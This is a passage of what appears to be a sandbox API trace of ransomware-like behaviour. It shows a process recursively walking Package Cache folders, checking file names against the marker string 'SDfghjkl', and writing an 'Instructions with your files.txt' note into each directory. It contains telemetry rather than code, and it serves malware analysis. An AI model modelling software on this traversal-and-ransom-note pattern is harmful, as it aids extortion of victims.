[0126.188] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.188] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\..") returned 95
[0126.188] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
[0126.188] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 121
[0126.188] StrStrIW (lpFirst="Windows6.1-KB2999226-x64.msu", lpSrch="SDfghjkl") returned 0x0
[0126.188] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0
[0126.188] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Instructions with your files.txt") returned 125
[0126.188] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0126.188] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0126.189] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0126.189] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0126.190] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0126.190] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0126.190] CloseHandle (hObject=0x118) returned 1
[0126.190] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0126.190] GetProcessHeap () returned 0x810000
[0126.190] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0126.190] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
[0126.190] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Instructions with your files.txt") returned 121
[0126.190] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.215] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.324] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.324] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.324] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.324] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.325] CloseHandle (hObject=0x114) returned 1
[0126.325] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.325] GetProcessHeap () returned 0x810000
[0126.325] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0126.325] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
[0126.325] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Instructions with your files.txt") returned 115
[0126.325] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.325] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.326] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.326] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.326] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.327] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.327] CloseHandle (hObject=0x110) returned 1
[0126.327] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.327] GetProcessHeap () returned 0x810000
[0126.327] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.327] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.327] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Instructions with your files.txt") returned 106
[0126.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.327] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.328] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.328] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.328] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.328] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.329] CloseHandle (hObject=0x10c) returned 1
[0126.329] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.329] GetProcessHeap () returned 0x810000
[0126.329] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.329] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1
[0126.329] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 73
[0126.329] GetProcessHeap () returned 0x810000
[0126.329] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.329] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned 75
[0126.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.332] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\.") returned 75
[0126.332] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.332] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\..") returned 76
[0126.332] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.332] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned 82
[0126.332] GetProcessHeap () returned 0x810000
[0126.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.332] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*") returned 84
[0126.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.333] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\.") returned 84
[0126.333] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.333] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\..") returned 85
[0126.333] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1
[0126.333] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned 88
[0126.333] GetProcessHeap () returned 0x810000
[0126.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0126.333] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*") returned 90
[0126.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.334] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\.") returned 90
[0126.334] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.334] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\..") returned 91
[0126.334] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
[0126.334] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned 92
[0126.334] GetProcessHeap () returned 0x810000
[0126.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0126.334] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*") returned 94
[0126.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0126.335] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\.") returned 94
[0126.335] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.335] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\..") returned 95
[0126.335] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
[0126.335] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 121
[0126.335] StrStrIW (lpFirst="Windows6.1-KB2999226-x64.msu", lpSrch="SDfghjkl") returned 0x0
[0126.335] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0
[0126.335] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Instructions with your files.txt") returned 125
[0126.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
